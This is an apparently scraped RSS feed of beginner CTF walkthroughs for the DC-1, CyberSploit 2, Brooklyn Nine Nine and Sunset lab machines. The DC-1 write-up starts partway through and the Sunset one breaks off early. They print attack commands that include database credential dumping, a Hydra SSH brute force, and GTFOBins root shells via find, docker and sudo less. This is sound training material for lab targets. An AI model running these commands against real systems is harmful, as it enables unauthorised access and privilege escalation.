enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*XpQ1jGZR_q1Zd_x8AsM-GA.png" /><figcaption>Figure 17: Displaying Tables in the Drupal Database</figcaption></figure><p>While enumerating the Drupal database, one table that immediately stood out was the <strong>users</strong> table, as it typically stores user account information such as usernames, email addresses, and password hashes. This made it a valuable target for further investigation.</p><p>To display all records in the table, run:</p><pre>SELECT * FROM users;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*clzIzRDUmyDugCUDrTy7Pw.png" /><figcaption>Figure 18: Viewing Records in the users Table</figcaption></figure><p>The output revealed details of the registered users, including their usernames and password hashes. These credentials could potentially be leveraged in the next phase of the assessment.</p><h3>Step 10: Cracking the Drupal User Password Hash</h3><p>After identifying the password hash in the users table, the next objective was to recover the plaintext password. Since the hash format was recognized by several online databases, it was searched using <strong>Hashes.com</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5clbPJfFn-ZIONqlUEpZXA.png" /><figcaption>Figure 19: Cracking the Drupal Password Hash Using Hashes.com</figcaption></figure><p>By submitting the extracted hash, the corresponding plaintext password was successfully recovered.</p><h3>Credential:</h3><pre>Password: 53cr3t</pre><h3>Step 11: Logging into the Drupal Web Interface</h3><p>Earlier during the reconnaissance phase, it was discovered that the target was running an HTTP service on <strong>port 80</strong>. With valid credentials recovered from the database, the next step was to access the Drupal login page through the web interface.</p><p>Navigate to the Drupal login page:</p><pre>http://&lt;TARGET_IP&gt;</pre><p>Enter the recovered username and password to authenticate.</p><h3>Credentials:</h3><pre>Username: admin<br>Password: 53cr3t</pre><p>A successful login provides access to the Drupal administrative interface, enabling further exploration of the application and the retrieval of additional information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ndbty29-b1Lmo3riu_SRlA.png" /><figcaption>Figure 20: Successful Login to the Drupal Web Application</figcaption></figure><p><strong>Figure Explanation:</strong><br> <em>The recovered credentials were successfully used to authenticate to the Drupal web application through the HTTP service running on port 80, granting access to the application’s administrative interface.</em></p><h3>Step 12: Exploring the Drupal Dashboard</h3><p>After successfully logging into the Drupal web interface, the next step was to manually explore the available administrative sections. Each menu and tab was inspected to identify any sensitive information or hidden content that could assist in completing the challenge.</p><p>During this exploration, the <strong>Content</strong> section contained a page with the flag3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Q4kJIcb0AEsqVDIIeChbA.png" /><figcaption>Figure 21: Navigating Content Section</figcaption></figure><h3>Retrieving the Flag 3</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bz-b5pD2k9xVya9-oPldg.png" /><figcaption>Figure 22: Retrieving the Final Flag from the Content Page</figcaption></figure><blockquote><strong>Flag 3</strong></blockquote><blockquote><em>“Special PERMS will help FIND the passwd — but you’ll need to -exec that command to work out how to get what’s in the shadow.”</em></blockquote><h3><strong>Step 13: Searching for the Flag 4 File</strong></h3><p>Since the Linux find command was unavailable in the Meterpreter shell, Meterpreter&#39;s built-in search command was used to locate files beginning with <strong>flag</strong>. The search identified several matching files, including <strong>/home/flag4/flag4.txt</strong>. After navigating to the directory, the contents of the flag file were displayed using the cat command.</p><h3><strong>Command: In </strong>Meterpreter Shell</h3><pre>search -f flag*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aQZ2XaVwrnKE_HCZlrjZSw.png" /></figure><p><strong>Explanation:</strong><br> Searches the target system for files whose names begin with <strong>flag</strong>.</p><pre>cd home</pre><pre>cd flag4</pre><p><strong>Explanation:</strong><br> Changes the current working directory to the location containing the Flag 4 file.</p><pre>cat flag4.txt</pre><p><strong>Explanation:</strong><br>Displays the contents of the <strong>flag4.txt</strong> file, revealing the Flag 4 hint for the next stage of the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aQZ2XaVwrnKE_HCZlrjZSw.png" /><figcaption>Figure 23: Searching for and Retrieving Flag 4 Using Meterpreter</figcaption></figure><blockquote><strong><em>Flag 4</em></strong></blockquote><blockquote><em>“Can you use this same method to find or access the flag in root?</em></blockquote><blockquote><em>Probably. But perhaps it’s not that easy. Or maybe it is?”</em></blockquote><blockquote><em>“Can you use this same method to find or access the flag in root?</em></blockquote><h3>Step 14: Escalate Privileges and Retrieve the Final Flag</h3><p>After obtaining an interactive shell, the python Spawn Shell technique was used to upgrade the shell (refer step-7 for detailed explanation on how to create spawn shell), providing a more stable command-line environment. The <strong>find</strong> binary was identified as a privilege escalation vector and exploited using the method documented on <strong>GTFOBins</strong>. The -exec option of find was used to spawn a root shell, allowing access to the /root directory where the final flag was stored.</p><h3><strong>What is GTFOBins?</strong></h3><blockquote><strong><em>GTFOBins</em></strong><em> is a curated repository of Unix binaries that can be abused to bypass security restrictions, escalate privileges, transfer files, or spawn shells when misconfigured or granted elevated permissions.</em></blockquote><p>The following GTFOBins technique was used:</p><pre>find . -exec /bin/sh \; -quit</pre><h3>Commands Use<strong>d</strong></h3><pre>shell</pre><p>Launches a standard Linux shell from the Meterpreter session.</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Upgrades the basic shell to a fully interactive Bash shell.</p><pre>find . -exec /bin/sh \; -quit</pre><p>Executes the GTFOBins privilege escalation technique to spawn a privileged shell.</p><pre>cd /root</pre><p>Navigates to the root user’s home directory.</p><pre>ls</pre><p>Lists the files in the root directory.</p><pre>cat thefinalflag.txt</pre><p>Displays the contents of the final flag file, successfully completing the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*7FVN84j4-YTfUgGwpx_XGg.png" /><figcaption>Figure 24: Privilege Escalation Using GTFOBins Find and Retrieving the Final Flag</figcaption></figure><h3>Flag 5</h3><blockquote><strong><em>Well done!!!!</em></strong></blockquote><blockquote>Hopefully you’ve enjoyed this and learned some new skills.</blockquote><p>This marks the successful completion of the <strong>DC-1 VulnHub</strong> machine after gaining root privileges and retrieving the final flag.</p><h3>Conclusion</h3><p>The <strong>DC-1</strong> VulnHub machine provided an excellent introduction to the fundamentals of web application penetration testing and Linux privilege escalation. Starting with network reconnaissance, the assessment progressed through service enumeration, web application analysis, exploitation of a Drupal vulnerability, post-exploitation enumeration, and privilege escalation using <strong>GTFOBins</strong> to obtain root access.</p><p>Throughout this walkthrough, tools such as <strong>Nmap</strong>, <strong>Metasploit</strong>, <strong>Meterpreter</strong>, and standard Linux utilities were used to identify vulnerabilities, gain access, and retrieve all five flags. This machine demonstrates the importance of thorough enumeration, understanding Linux permissions, and leveraging publicly documented techniques to achieve privilege escalation.</p><p>Overall, <strong>DC-1</strong> is an excellent beginner-friendly challenge that helps build a strong foundation in penetration testing methodologies and real-world attack workflows.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=acb4692fac4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberSploit: 2 Walkthrough | From Enumeration to Root | by Nandana Ajilal]]></title>
            <link>https://medium.com/@nandanaajilal/cybersploit-2-walkthrough-from-enumeration-to-root-by-nandana-ajilal-128536659c3f?source=rss-e056f59c0e4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/128536659c3f</guid>
            <category><![CDATA[machinehacking]]></category>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cybersploit2]]></category>
            <category><![CDATA[dockerprivilageescalation]]></category>
            <dc:creator><![CDATA[Nandana Ajilal]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 08:31:42 GMT</pubDate>
            <atom:updated>2026-07-14T08:31:42.073Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IbqhojNiXlvUDJlb_Z8xUA.png" /></figure><h3>Introduction</h3><p>CyberSploit: 2 is an easy Linux boot-to-root machine available on VulnHub. Although designed for beginners, it introduces several practical penetration testing concepts including network enumeration, source code inspection, ROT47 decoding, SSH access, Linux enumeration, and Docker privilege escalation.</p><p>In this walkthrough, I’ll explain my methodology from initial reconnaissance to obtaining root access, highlighting the tools, techniques, and thought process used at each stage.</p><blockquote><strong>Disclaimer:</strong> This walkthrough is intended for educational purposes only. The techniques demonstrated were performed in a legal lab environment on an intentionally vulnerable machine. Always obtain proper authorization before performing security testing on any system.</blockquote><h3>Machine Information</h3><ul><li><strong>Platform:</strong> VulnHub</li><li><strong>Link:</strong> <a href="https://download.vulnhub.com/cybersploit/CyberSploit2.ova">https://download.vulnhub.com/cybersploit/CyberSploit2.ova</a></li><li><strong>Difficulty:</strong> Easy</li><li><strong>Operating System:</strong> Linux</li><li><strong>Goal:</strong> Obtain Root Access</li></ul><h3>Skills Learned</h3><ul><li>Network Discovery</li><li>Service Enumeration</li><li>Source Code Analysis</li><li>ROT47 Decoding</li><li>SSH Enumeration</li><li>Linux Privilege Escalation</li><li>Docker Misconfiguration Exploitation</li></ul><h3>Lab Setup</h3><p>The target machine was deployed locally in VirtualBox and connected to the attacker machine (Kali Linux) using a Host-Only network.</p><p><strong>Attacker Machine:</strong></p><ul><li>Kali Linux</li></ul><p><strong>Target Machine:</strong></p><ul><li>CyberSploit: 2</li></ul><h3>Step 1 : Discover the Target</h3><p>Since the target machine was hosted in a virtual machine, the first task was to identify its IP address on the local virtual network. Once the machine booted, it was assigned an IP address by the virtual network, which was required before any further enumeration could begin.</p><h3>Command:</h3><pre>sudo netdiscover</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*3_ShX3JBVEaNAAmWRuKM8g.png" /><figcaption>Figure 1: Host Discovery Using Netdiscover</figcaption></figure><h3>Step 2 : Port Scanning</h3><p>I performed a Nmap scan to identify open ports.</p><h3>Command:</h3><pre>nmap &lt;TARGET_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*9Vj4wP4-BWgnN2fd_T_4-A.png" /><figcaption>Figure 2: Nmap Scan Results Showing Open Ports And Services</figcaption></figure><h3>Scan Results</h3><ul><li><strong>Port 22 — SSH (Secure Shell):</strong> Indicates that the target allows secure remote access, which may be useful if valid credentials are discovered during enumeration.</li><li><strong>Port 80 — HTTP (Web Server):</strong> Hosts a web application that should be examined for hidden files, source code, and other information that could aid further exploitation.</li></ul><p>Since web applications often reveal valuable information during the enumeration phase, I decided to begin by exploring the HTTP service running on <strong>port 80</strong>.</p><h3>Step 3 : Website Enumeration</h3><p>Since the web server was running on <strong>port 80</strong>, I accessed the target IP address in a web browser.</p><p>The webpage displayed a list of <strong>usernames and passwords</strong>. While these credentials appeared to be potential login information, it wasn’t immediately clear which one was valid. During CTF challenges, it’s important to inspect the webpage thoroughly, as additional clues are often hidden in the source code.</p><h3>Command:</h3><pre>http://TARGET-IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1VPXVU1GQAtH4XgL0f0ZKg.png" /><figcaption>Figure 3: Usernames and Passwords Displayed on the Webpage</figcaption></figure><p>Observe the webpage.</p><p>Then inspect the page source.</p><pre>Ctrl + U</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IoER4Tbko-4N8s9oQWgFpw.png" /><figcaption>Figure 4: ROT47 Hint Found in the Page Source</figcaption></figure><p>A hint references <strong>ROT47</strong>.</p><p>Explain briefly:</p><blockquote><em>ROT47 shifts printable ASCII characters by 47 positions and is commonly used in beginner CTFs to hide credentials.</em></blockquote><p><strong>CyberChef</strong> is a web-based toolkit developed by GCHQ that simplifies data analysis, decoding, encoding, encryption, and format conversion. It provides a wide range of built-in operations, making it a popular tool among cybersecurity professionals and CTF players for quickly decoding encoded strings such as ROT47.</p><p>Using <strong>CyberChef </strong>, I decoded the ROT47-encoded string, which revealed the valid <strong>username</strong> and <strong>password</strong> required to gain initial access to the target system via SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MwkP4NVI0W_kdynurJ3EIg.png" /><figcaption>Figure 5: ROT47 Credentials Decoded Using CyberChef</figcaption></figure><pre>Username: shailendra<br>Password: cybersploit1</pre><h3>Step 4 : SSH Login</h3><p>SSH (Secure Shell) is a secure network protocol that allows encrypted remote access to a system. Using the username and password recovered from the previous step, I connected to the target machine via SSH to gain an initial shell.</p><h3>Command:</h3><pre>ssh username@TARGET-IP</pre><pre>Username: shailendra<br>Password: cybersploit1</pre><p>Enter the recovered password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*uURyOMS4PlXMJQNymP02GQ.png" /><figcaption>Figure 6: Successful SSH Login to the Target System</figcaption></figure><p>With the recovered credentials, I successfully authenticated via SSH and gained initial access to the target system.</p><h3>Step 5 : Local Enumeration</h3><p>After gaining SSH access, basic local enumeration was performed to inspect files in the user’s home directory. Listing the directory with ls revealed a file named hint.txt. Reading its contents using cat hint.txt displayed the word <strong>&quot;docker&quot;</strong>, providing a crucial clue that the current user is likely a member of the Docker group. This hint guided the privilege escalation phase, where Docker was exploited to obtain root access.</p><h3>Commands :</h3><pre>ls </pre><p>Lists the files and directories in the current working directory.</p><pre>cat hint.txt</pre><p>Displays the contents of the hint.txt file, revealing the hint <strong>&quot;docker&quot;</strong> for the next phase of exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*GKhIg8kDz2IUIWt86nKDsA.png" /><figcaption>Figure 7: Local Enumeration Revealing a Privilege Escalation Hint</figcaption></figure><h3>Step 6— Docker Privilege Escalation</h3><p>What is GTFOBins?</p><p>GTFOBins is a collection of Linux binaries that can be used to bypass security restrictions or escalate privileges when they are allowed to run with sudo.</p><p>Check GTFOBins.</p><p>Execute:</p><pre>docker run -v /:/mnt --rm -it alpine chroot /mnt sh</pre><p>I ran the following command in the terminal to exploit the Docker misconfiguration and gain root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7H4hCbDASN7Pm6BY5tIT7A.png" /><figcaption>Figure 8: Downloading the Alpine Docker Image</figcaption></figure><h3>Step 7 : Accessing the Root Directory and Capturing the Flag</h3><p>After successfully exploiting the Docker misconfiguration, a root shell was obtained on the target system. To verify the elevated privileges, the root filesystem was explored, and the /root directory was accessed. Listing its contents revealed the flag.txt file, which was then displayed to complete the machine and confirm successful privilege escalation.</p><h3>Commands :</h3><pre>ls</pre><p>Lists the files and directories in the current location.</p><pre>cd /root</pre><p>Changes the current directory to the root user’s home directory.</p><pre>ls</pre><p>Lists the contents of the /root directory, including the final flag.</p><pre>cat flag.txt</pre><p>Displays the contents of the flag.txt file, confirming that the machine has been successfully compromised and the objective has been achieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w-nBv8kKzBx-kqEfpxT8QQ.png" /><figcaption>Figure 9: Verifying Root Access and Retrieving the Final Flag</figcaption></figure><h3>Conclusion</h3><p>CyberSploit: 2 is a great beginner-friendly VulnHub machine that highlights the importance of proper enumeration and Linux privilege escalation. By identifying open services, uncovering hidden credentials, gaining SSH access, and exploiting Docker group membership, we successfully obtained root access and captured the final flag. Overall, this machine provides valuable hands-on experience with fundamental penetration testing techniques and is an excellent lab for aspiring ethical hackers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=128536659c3f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Brooklyn Nine Nine Walkthrough — From Enumeration to Root | TryHackMe | by Nandana Ajilal]]></title>
            <link>https://medium.com/@nandanaajilal/brooklyn-nine-nine-walkthrough-from-enumeration-to-root-tryhackme-by-nandana-ajilal-e45d07c38f51?source=rss-e056f59c0e4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e45d07c38f51</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[brooklyn-nine-nine]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Nandana Ajilal]]></dc:creator>
            <pubDate>Mon, 13 Jul 2026 14:52:53 GMT</pubDate>
            <atom:updated>2026-07-13T16:38:44.267Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RqGqoGGLlEgwj6J22EOJcA.jpeg" /></figure><h3>Introduction</h3><p>In this walkthrough, we’ll solve the <strong>Brooklyn Nine Nine</strong> room on TryHackMe. This beginner-friendly machine introduces essential penetration testing concepts, including network reconnaissance, FTP enumeration, web enumeration, steganography, SSH access, and Linux privilege escalation. Throughout this guide, we’ll move from initial enumeration to obtaining root access while explaining each step and the reasoning behind it.</p><blockquote><strong><em>Difficulty:</em></strong><em> Easy<br></em><strong><em>Platform:</em></strong><em> TryHackMe<br></em><strong><em>Category:</em></strong><em> Linux, Enumeration, Privilege Escalation</em></blockquote><h3>Step 1: Connect to the Target Machine</h3><p>To begin, deploy the Bounty Hacker machine on TryHackMe. You can either connect using the AttackBox provided by TryHackMe or use your own Linux machine by connecting to the TryHackMe VPN through OpenVPN. In this walkthrough, I used my Kali Linux machine connected via OpenVPN.</p><h3>Command</h3><pre>sudo openvpn &lt;your_vpn_file&gt;.ovpn</pre><p>Once the VPN connection was established successfully, I started the target machine and obtained its assigned IP address from the TryHackMe dashboard. This IP address was then used for all subsequent reconnaissance and exploitation steps.</p><h3>Step 2: Reconnaissance</h3><p>Perform an aggressive Nmap scan to identify open ports, running services, and versions.</p><pre>nmap -A &lt;TARGET_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*CJCw7JVmwejhlXfY11plvQ.png" /><figcaption>Figure 1: Nmap Scan Results</figcaption></figure><p>Scanning Discovered:</p><ul><li>Open ports discovered</li><li>Service versions</li><li>Initial attack surface</li><li>Potential entry points</li></ul><h3>Step 3: FTP Enumeration</h3><p>Since the Nmap scan showed that <strong>Anonymous FTP Login</strong> was enabled, I attempted to access the FTP service using the default anonymous credentials.</p><p>Connect to the FTP Server:</p><h3>Command:</h3><pre>ftp &lt;TARGET_IP&gt;</pre><p>When prompted for credentials, enter:</p><pre>Username: anonymous<br>Password: &lt;Press Enter&gt;</pre><p>After successfully logging in, I listed the available files using ,</p><h3>Command:</h3><pre>ls</pre><p>The FTP server contained one file:</p><ul><li>note_to_jake.txt</li></ul><p>I downloaded the file to my local machine using</p><h3>Command:</h3><pre>get &lt;filename&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*oyQR6Zz6ikJOlT4Xzoo_7A.png" /><figcaption>Figure 2: FTP Enumeration</figcaption></figure><p>After successfully downloading the file note_to_jake.txtfrom the FTP server, I examined its contents to identify any sensitive information that could aid in gaining initial access to the target machine.To view the contents of the file,</p><h3>Command:</h3><pre>cat note_to_jake.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WtuSnck6NH9ktcgO8JYs6Q.png" /><figcaption>Figure 3: Sensitive Information Identified in the note_to_jake.txt file</figcaption></figure><p>Step 4: Website Enumeration</p><p>During the Nmap scan, <strong>port 80 (HTTP)</strong> was found to be open, indicating that the target machine is hosting a web server. Web services often contain valuable information such as hidden comments, credentials, configuration files, or other clues that can help with further exploitation. Therefore, the next step is to enumerate the website thoroughly.</p><p>Visit the web server by navigating to:</p><pre>http://&lt;TARGET_IP&gt;</pre><p>While examining the website, look for:</p><ul><li>Hidden HTML comments</li><li>Page source code</li><li>Images that may contain hidden information</li><li>Login pages</li><li>robots.txt</li><li>Hidden directories and files</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FLGwwQIDE9txYTimGs6Tug.png" /><figcaption>Figure 4: Website Homepage</figcaption></figure><p>Analyze the homepage for any visible clues, unusual content, usernames, or links that could assist in further enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A1gr5QAtlq6ftMlet3wCIw.png" /><figcaption>Figure 5: Page Source Analysis</figcaption></figure><p>Inspect the page source (Ctrl + U or <strong>View Page Source</strong>) to identify hidden comments, embedded credentials, developer notes, or other information that is not immediately visible on the webpage.</p><p>Carefully document every clue discovered during this process, as even seemingly insignificant information can be useful in the later stages of the penetration test.</p><pre>clue: &lt;!-- Have you ever heard of steganography? --&gt;</pre><h3>Step 5: Steganography</h3><p>During the website enumeration, an image was discovered that appeared to contain hidden information. In Capture the Flag (CTF) challenges, images are often conceal sensitive data using <strong>steganography</strong>. Since the image was suspected of containing embedded content, the <strong>StegSeek</strong> tool was used to recover the hidden file by automatically attempting passwords from a wordlist.</p><p>Run the following command:</p><pre>stegseek &lt;image_file&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*FvQd5SWzocxk2288lbeBsQ.png" /><figcaption>Figure 6: StegSeek Successfully Extracts the Hidden File</figcaption></figure><p>StegSeek successfully discovered the hidden passphrase (admin) and extracted the embedded file brooklyn99.jpg.out. The contents of the extracted file can then be viewed using:</p><h3>Command:</h3><pre>cat brooklyn99.jpg.out</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*FvQd5SWzocxk2288lbeBsQ.png" /><figcaption>Figure 7: StegSeek Extraction</figcaption></figure><p>The extracted note contained Holt’s password:</p><pre>Holts Password:<br>fluffydog12@ninenine</pre><p>This credential was saved, as it might be required in a later step of the walkthrough.</p><h3>Step 6: Credential Discovery</h3><p>During the FTP enumeration, a note from <strong>Amy</strong> was discovered stating that <strong>Jake</strong> should change his password because it was too weak and <strong>Holt</strong> would be upset if someone managed to hack it. This suggested that <strong>Jake</strong> was a valid username and that his password might be vulnerable to a dictionary attack.</p><p>In the steganography phase, the hidden message revealed <strong>Holt’s password</strong>. However, these credentials did not provide the intended initial access to the machine. Based on Amy’s note, the focus shifted to <strong>Jake’s</strong> account.</p><p>Since Jake’s password was suspected to be weak, <strong>Hydra</strong> was used with the rockyou.txt wordlist to perform an SSH brute-force attack.</p><pre>hydra -l jake -P /usr/share/wordlists/rockyou.txt &lt;TARGET_IP ssh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WWrL4-51NNWHW2D6344_oQ.png" /><figcaption>Figure 6: Hydra Successfully Discovers Jake’s Password</figcaption></figure><p>Hydra successfully identified the correct password for the jake account. Using these credentials, an SSH connection was established, providing initial access to the target machine.</p><p>This attack succeeded because the SSH service allowed password authentication and Jake’s password was weak enough to be present in the rockyou.txt wordlist, allowing Hydra to discover it through a dictionary attack.</p><h3>Step 7: SSH Access</h3><p>After Hydra identified the correct SSH credentials, I used them to log in to the target machine.</p><h3>Command</h3><pre>ssh username@&lt;TARGET_IP&gt;</pre><p>Login Credentials:</p><pre>login: jake  <br>password: 987654321</pre><p>I entered the password discovered by Hydra. After successful authentication.</p><p>Verify access.</p><pre>whoami</pre><p>I gained access to the system as jake.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*GSCQaB7YcdyHNBNFZjyQ_g.png" /><figcaption>Figure 7: SSH Login</figcaption></figure><h3>Step 8: User Flag Retrieval</h3><p>After gaining SSH access as <strong>jake</strong>, the next objective was to locate the user flag. Since the system contained multiple user home directories, each directory was examined to identify where the flag was stored.</p><p>First, navigate to the /home directory and list all available user accounts:</p><h3>Command:</h3><pre>cd ..<br></pre><p>Since the current session started in <strong>Jake’s home directory</strong>, the cd .. command was used to move up one level to the /home directory. This allows us to view all user home directories on the system and identify other accounts that may contain important files or flags.</p><pre>ls</pre><p>The ls command lists the contents of the /home directory, revealing the available user accounts:</p><ul><li>amy</li><li>holt</li><li>jake</li></ul><p>Initially, the <strong>amy</strong> and <strong>jake</strong> directories were inspected, but neither contained the user flag or any useful information. The investigation then continued with <strong>Holt’s</strong> home directory.</p><p>Navigate to Holt’s directory and list its contents:</p><pre>cd holt<br></pre><pre>ls</pre><p>The directory contained the user.txt file. Display its contents using:</p><pre>cat user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*dDE2-zY4TRY2oQWOyeeERA.png" /><figcaption>Figure 8: User Flag Retrieval</figcaption></figure><p>The contents of user.txt revealed the <strong>user flag</strong>, confirming successful user-level access and completion of the first objective.</p><p>Q1)User flag</p><p>A1) ee11cbb19052e40b07aac0ca060c23ee</p><h3>Step 9: Privilege Escalation</h3><p>After retrieving the user flag, the next objective was to obtain <strong>root privileges</strong>. The first step in Linux privilege escalation is to enumerate the current user’s sudo permissions.</p><pre>cd root</pre><p>However, this resulted in a <strong>&quot;Permission denied&quot;</strong> error because the <strong>jake</strong> user does not have permission to access the /root directory without elevated privileges.</p><p>To identify possible privilege escalation paths, the following command was executed:</p><pre>sudo -l</pre><p>This command lists the commands that the current user is allowed to execute with <strong>sudo</strong>.</p><p>The output revealed:</p><pre>(ALL) NOPASSWD: /usr/bin/less</pre><h3>Step 10: Exploiting the less Binary</h3><p>After identifying that the <strong>jake</strong> user could execute /usr/bin/less with sudo privileges, the next step was to exploit this misconfiguration.</p><p>First, run the following command to open a file using <strong>less</strong> with elevated privileges:</p><pre>sudo less /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vCSdbYyi58WeByIEY4PjIA.png" /><figcaption>Figure 9: Opening less with Sudo Privileges</figcaption></figure><p>Once the file is open in the less interface, type the following command:</p><pre>!/bin/sh</pre><p>The ! character tells <strong>less</strong> to execute an external shell command. Since less is running with <strong>root</strong> privileges through sudo, the spawned shell also inherits those privileges, resulting in a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*NY9vZDK05sN7fp2xHQ8Q7Q.png" /><figcaption>Figure 10: Spawning a Root Shell Using less</figcaption></figure><h3>Step 11: Capture the Root Flag</h3><p>After successfully escalating privileges, verify that you have obtained <strong>root</strong> access.</p><pre>whoami</pre><p>The output confirms that the current user is root, indicating that the privilege escalation was successful.</p><p>Next, navigate to the root directory.</p><pre>cd /</pre><p>List the contents of the root filesystem.</p><pre>ls</pre><p>Among the listed directories, locate the <strong>root</strong> directory, which contains the root user’s files.</p><p>Navigate into the root directory.</p><pre>cd root</pre><p>List the files inside the directory.</p><pre>ls</pre><p>You should find the <strong>root.txt</strong> file, which contains the final flag.</p><p>Display the contents of the file using:</p><pre>cat root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aq7BpTfEIxA7m4n1FYWhjQ.png" /><figcaption>Figure 11: Root Flag Captured</figcaption></figure><p>The output displays the root flag along with a congratulatory message, confirming that the machine has been successfully compromised and all objectives have been completed.</p><p>Q2)Root flag</p><p>A2) 63a9f0ea7bb98050796b649e85481845</p><h3>Conclusion</h3><p>The <strong>Brooklyn Nine Nine</strong> room is an excellent beginner-friendly TryHackMe challenge that covers essential penetration testing techniques, including enumeration, steganography, SSH access, and Linux privilege escalation. By following a structured approach, we successfully progressed from initial reconnaissance to obtaining root access. This room reinforces the importance of thorough enumeration and serves as a great hands-on exercise for anyone looking to strengthen their practical cybersecurity skills. Thank you for reading, and stay tuned for more TryHackMe walkthroughs!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e45d07c38f51" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sunset: Machine Walkthrough (VulnHub) | From Enumeration to Root | by Nandana Ajilal]]></title>
            <link>https://medium.com/@nandanaajilal/sunset-machine-walkthrough-vulnhub-from-enumeration-to-root-by-nandana-ajilal-0cd2c0790a91?source=rss-e056f59c0e4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/0cd2c0790a91</guid>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[sunset1]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Nandana Ajilal]]></dc:creator>
            <pubDate>Sat, 11 Jul 2026 09:02:16 GMT</pubDate>
            <atom:updated>2026-07-11T09:02:16.605Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gOTSimUYu2U0e8B2wNr9_Q.png" /></figure><h3>Introduction</h3><p>Recently, I completed the <strong>Sunset</strong> machine from VulnHub as part of my hands-on penetration testing and cybersecurity learning journey. This intentionally vulnerable virtual machine provides a safe environment to practice core penetration testing skills, including reconnaissance, enumeration, exploitation, privilege escalation, and Linux post exploitation.</p><p>In this walkthrough, I’ll explain my methodology from initial reconnaissance to obtaining root access, highlighting the tools, techniques, and thought process used at each stage.</p><blockquote><strong><em>Disclaimer:</em></strong><em> This walkthrough is intended for educational purposes only. The techniques demonstrated were performed in a legal lab environment on an intentionally vulnerable machine. Always obtain proper authorization before performing security testing on any system.</em></blockquote><h3>Machine Information</h3><ul><li><strong>Platform:</strong> VulnHub</li><li><strong>Link:</strong> <a href="https://download.vulnhub.com/sunset/sunset.zip">https://download.vulnhub.com/sunset/sunset.zip</a></li><li><strong>Difficulty:</strong> Easy</li><li><strong>Operating System:</strong> Linux</li><li><strong>Goal:</strong> Obtain user and root access</li></ul><h3>Lab Setup</h3><p>The target machine was deployed locally in VirtualBox and connected to the attacker machine (Kali Linux) using a Host-Only network.</p><p><strong>Attacker Machine:</strong></p><ul><li>Kali Linux</li></ul><p><strong>Target Machine:</strong></p><ul><li>Sunset</li></ul><h3>Step 1: Host Discovery</h3><p>Since the target machine was hosted in a virtual machine, the first task was to identify its IP address on the local virtual network. Once the machine booted, it was assigned an IP address by the virtual network, which was required before any further enumeration could begin.</p><h3>Command:</h3><pre>sudo netdiscover</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*83uuo9GuEIkXwHuWdkUBAw.png" /><figcaption>Figure 1: Host Discovery Using 